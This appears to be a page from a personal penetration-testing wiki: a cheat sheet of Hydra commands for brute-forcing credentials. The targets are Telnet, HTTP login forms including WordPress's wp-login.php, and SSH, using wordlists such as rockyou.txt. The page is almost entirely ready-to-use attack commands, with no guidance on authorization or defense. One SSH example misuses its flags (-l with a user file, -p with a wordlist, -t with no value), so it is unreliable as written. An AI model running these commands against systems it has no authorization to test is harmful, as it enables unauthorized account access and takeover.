Skip to content
TheGetch edited this page May 14, 2021 · 2 revisions

Hydra

Hydra

hydra -L users.txt -P pass.txt <service://server> <options>

Telnet:

  • hydra -L users.txt -P pass.txt telnet://target.server

HTTP:

  • hydra -L users.txt -P pass.txt http-get://localhost/
  • hydra -L users.txt -P pass.txt -t 10 -o result-attack.txt targetsite.com http-get-form "/login.php:username=^USER^&password=^PASS^&login=Username and/or password incorrect."
  • hydra -l admin -P ./passwordlist.txt $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=<success_response>'

SSH:

  • hydra -l user -P pass.txt -t 10 172.21.0.0 ssh -s 22
  • hydra -l users.txt -p /usr/share/wordlists/rockyou.txt -t 172.21.0.0 ssh -s 22

_Sidebar

1. Recon

Ping Sweep

CIDR to IP

2. Enumeration

Services

05. HTTP (80,443,8080,8443,etc.)

3. Exploitation

4. Post Exploiation

5. High Value Information

Hashes

6. Reporting

7. Random Notes/Useful Tidbits

Clone this wiki locally